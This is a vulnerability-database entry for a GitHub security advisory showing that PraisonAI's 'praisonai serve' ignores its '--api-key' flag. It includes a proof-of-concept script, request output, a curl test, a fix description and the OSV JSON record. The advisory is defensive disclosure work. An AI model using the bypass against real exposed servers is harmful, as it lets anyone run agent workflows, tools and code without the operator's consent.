GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-PVXX-R596-F5QJ

Vulnerability from github – Published: 2026-08-25 15:06 – Updated: 2026-08-25 15:06
VLAI
Summary
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
Details

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

  • Confirmed on 4.6.50 (current PyPI, 2026-06-02)
  • Likely since 4.6.34 when the serve subsystem shipped
  • File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

  • POST /agents — runs the full agent workflow
  • POST /agents/{name} — invokes a specific agent
  • POST /api/v1/agents/{id}/invoke — n8n integration endpoint
  • GET / — lists all endpoints
  • GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

  • CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:06:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app \u2014 no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.\n\n## Affected versions\n\n- Confirmed on **4.6.50** (current PyPI, 2026-06-02)\n- Likely since **4.6.34** when the serve subsystem shipped\n- File: `src/praisonai/praisonai/cli/features/serve.py`\n\n## What happens\n\nThe CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `_create_agents_app(config)`. But that function never reads `config[\"api_key\"]`. The FastAPI app gets created with no auth at all. Same thing in `_create_unified_app`.\n\nThe help text says `--api-key \u003ckey\u003e   API key for authentication`, so this isn\u0027t ambiguous \u2014 it\u0027s supposed to protect the server. It just doesn\u0027t.\n```\n$ grep -n \"api_key\" src/praisonai/praisonai/cli/features/serve.py\n107:  --api-key \u003ckey\u003e   API key for authentication\n199:            \"api_key\": {\"default\": None},\n847:            \"api_key\": {\"default\": None},\n```\n\n## Endpoints exposed without auth\n\n- `POST /agents` \u2014 runs the full agent workflow\n- `POST /agents/{name}` \u2014 invokes a specific agent\n- `POST /api/v1/agents/{id}/invoke` \u2014 n8n integration endpoint\n- `GET /` \u2014 lists all endpoints\n- `GET /__praisonai__/discovery` \u2014 service discovery\n\n## Not the same as CVE-2026-44338\n\nCVE-2026-44338 was about the legacy `deploy/api.py` hardcoding `AUTH_ENABLED = False`. That was fixed in 4.6.34. This bug is in the newer `serve` subsystem that shipped in the same release \u2014 the `--api-key` flag exists but was never connected to anything.\n\n## PoC\n\n### Setup\n\n```bash\npython3 -m venv /tmp/poc-venv\n/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml\n```\n\n### Script\n\n```python\nimport sys, types, tempfile, os\n\n# Stub heavy deps so we only test the serve auth logic\nfor m in [\"praisonai.endpoints.discovery\", \"praisonai.endpoints.server\",\n          \"praisonai.api\", \"praisonai.api.agent_invoke\",\n          \"praisonai.agents_generator\", \"praisonai.inc\"]:\n    sys.modules[m] = types.ModuleType(m)\n\ndisc = sys.modules[\"praisonai.endpoints.discovery\"]\nclass Fake:\n    def __init__(self, **k): pass\n    def add_provider(self, *a, **k): pass\n    def add_endpoint(self, *a, **k): pass\n    def to_dict(self): return {}\ndisc.create_discovery_document = lambda **k: Fake()\ndisc.EndpointInfo = Fake\ndisc.ProviderInfo = Fake\nsys.modules[\"praisonai.endpoints.server\"].add_discovery_routes = lambda a,b: None\nsys.modules[\"praisonai.api.agent_invoke\"].FASTAPI_AVAILABLE = False\n\nclass FakeGen:\n    def __init__(self, **k): pass\n    def generate_crew_and_kickoff(self):\n        return {\"executed\": True, \"result\": \"workflow ran\"}\nsys.modules[\"praisonai.agents_generator\"].AgentsGenerator = FakeGen\n\nclass FakeLLM:\n    def to_dict(self): return {}\nsys.modules[\"praisonai.inc\"].LLMConfig = FakeLLM\n\nf = tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".yaml\", delete=False)\nf.write(\"name: T\\nagents:\\n  a:\\n    name: A\\n    role: R\\n    goal: G\\n    backstory: B\\n\")\nf.flush()\n\nfrom praisonai.cli.features.serve import ServeHandler\napp = ServeHandler()._create_agents_app({\n    \"file\": f.name, \"host\": \"0.0.0.0\", \"port\": 8000,\n    \"path\": \"/agents\", \"reload\": False,\n    \"api_key\": \"supersecret\",   # \u003c-- should protect the server\n})\n\nfrom starlette.testclient import TestClient\nc = TestClient(app)\n\nr1 = c.post(\"/agents\", json={\"query\": \"run\"})\nr2 = c.post(\"/agents\", json={\"query\": \"run\"},\n            headers={\"Authorization\": \"Bearer TOTALLY_WRONG\"})\n\nprint(f\"No auth header \u2192 {r1.status_code}\")   # 200\nprint(f\"Wrong key      \u2192 {r2.status_code}\")   # 200\n\nos.unlink(f.name)\n```\n\n### Output\n\n```\nNo auth header \u2192 200\nWrong key      \u2192 200\n```\n\nBoth succeed. The key is ignored.\n\n### Live server test\n\n```bash\n# start server with --api-key\npraisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999\n\n# hit it without any auth\ncurl -s -X POST http://localhost:9999/agents \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"query\":\"run all agents\"}\u0027\n# \u2192 200, workflow executes\n```\n\n## Impact\n\nAnyone who can reach the server can trigger agent workflows without credentials. The operator set `--api-key` and got no error, so they think it\u0027s protected.\n\nWhat an attacker gets depends on what the agents.yaml workflow can do \u2014 LLM calls, tool use, file access, code execution, web requests. At minimum it\u0027s unauthenticated API quota burn.\n\n## Fix\n\n`_create_agents_app()` and `_create_unified_app()` need to actually read `config[\"api_key\"]` and add a FastAPI dependency that checks the `Authorization: Bearer` header. When binding to a non-loopback address without `--api-key`, the server should warn or refuse to start.\n\n## References\n\n- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)",
  "id": "GHSA-pvxx-r596-f5qj",
  "modified": "2026-08-25T15:06:09Z",
  "published": "2026-08-25T15:06:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pvxx-r596-f5qj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…